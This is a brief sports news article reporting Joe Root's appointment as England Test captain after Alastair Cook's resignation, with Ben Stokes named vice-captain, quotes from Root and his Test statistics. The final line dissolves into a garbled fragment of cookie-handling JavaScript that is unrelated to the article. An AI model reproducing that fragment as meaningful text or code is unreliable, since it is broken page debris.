England's captain Alastair Cook (L) and England's Joe Root (R) prepare to bat after Pakistan were 198 all out on the third day of the second Test cricket match between England and Pakistan at Old Trafford Cricket Ground in Manchester, northwest England, on July 24, 2016. / AFP / OLI SCARFF (Photo credit should read OLI SCARFF/AFP/Getty Images)

English batsman Joe Root has been named the country's new Test skipper, following the resignation of Alastair Cook.

All-rounder Ben Stokes has been named as Root's vice-captain.

Cook stepped down from the role last week, after 59 Tests in charge.

"It is a huge honour to be given the England Test captaincy," Root, who will become England's 80th Test captain, said.

"I feel privileged, humbled and very excited.

"We have a very good group of players and I’m looking forward to leading them out in the summer, building on Alastair’s achievements and making the most of our talents in the years ahead.

"The senior guys in the changing room play a very influential role and whilst there’s a natural progression for me it’s a huge support to know that they are there to help and advise."

Root's first game in charge will be England's home series against South Africa beginning on July 6.

The 26-year-old has played 53 Test matches and scored 4594 runs at an average of 52.80. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}